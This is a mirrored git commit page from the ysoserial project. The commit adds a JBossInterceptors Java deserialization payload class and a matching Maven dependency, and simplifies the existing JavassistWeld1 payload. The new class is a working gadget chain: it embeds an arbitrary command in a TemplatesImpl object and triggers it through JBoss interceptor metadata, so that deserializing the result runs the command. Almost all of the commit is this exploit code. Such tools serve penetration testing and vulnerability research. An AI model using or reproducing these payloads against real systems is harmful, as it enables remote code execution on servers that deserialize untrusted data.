mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Adding a Javassist/Weld/JBossInterceptor gadgets to ysoserial.
This commit is contained in:
@@ -267,6 +267,11 @@
|
|||||||
<artifactId>weld-core</artifactId>
|
<artifactId>weld-core</artifactId>
|
||||||
<version>1.1.33.Final</version>
|
<version>1.1.33.Final</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.interceptor</groupId>
|
||||||
|
<artifactId>jboss-interceptor-core</artifactId>
|
||||||
|
<version>2.0.0.Final</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import org.jboss.interceptor.builder.InterceptionModelBuilder;
|
||||||
|
import org.jboss.interceptor.builder.MethodReference;
|
||||||
|
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
|
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
|
||||||
|
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
|
||||||
|
import org.jboss.interceptor.reader.DefaultMethodMetadata;
|
||||||
|
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
|
||||||
|
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
|
||||||
|
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
|
||||||
|
import org.jboss.interceptor.spi.metadata.InterceptorReference;
|
||||||
|
import org.jboss.interceptor.spi.metadata.MethodMetadata;
|
||||||
|
import org.jboss.interceptor.spi.model.InterceptionModel;
|
||||||
|
import org.jboss.interceptor.spi.model.InterceptionType;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/*
|
||||||
|
by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final" })
|
||||||
|
public class JBossInterceptors implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||||
|
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||||
|
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||||
|
|
||||||
|
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||||
|
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||||
|
|
||||||
|
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||||
|
defaultMethodMetadataConstructor.setAccessible(true);
|
||||||
|
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||||
|
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||||
|
|
||||||
|
List list = new ArrayList();
|
||||||
|
list.add(methodMetadata);
|
||||||
|
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||||
|
|
||||||
|
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||||
|
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||||
|
|
||||||
|
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||||
|
|
||||||
|
InterceptionModel model = builder.build();
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put("ysoserial", "ysoserial");
|
||||||
|
|
||||||
|
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||||
|
|
||||||
|
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||||
|
|
||||||
|
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||||
|
|
||||||
|
return gadget;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(JBossInterceptors.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,9 +1,6 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import javassist.util.proxy.ProxyFactory;
|
|
||||||
import javassist.util.proxy.ProxyObject;
|
|
||||||
import javassist.util.proxy.RuntimeSupport;
|
|
||||||
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||||
import org.jboss.weld.interceptor.builder.MethodReference;
|
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||||
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
@@ -71,13 +68,7 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
ProxyFactory proxyFactory = new ProxyFactory();
|
|
||||||
proxyFactory.setSuperclass(HashMap.class);
|
|
||||||
ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance();
|
|
||||||
proxy.setHandler(interceptorMethodHandler);
|
|
||||||
|
|
||||||
return RuntimeSupport.makeSerializedProxy(proxy);
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user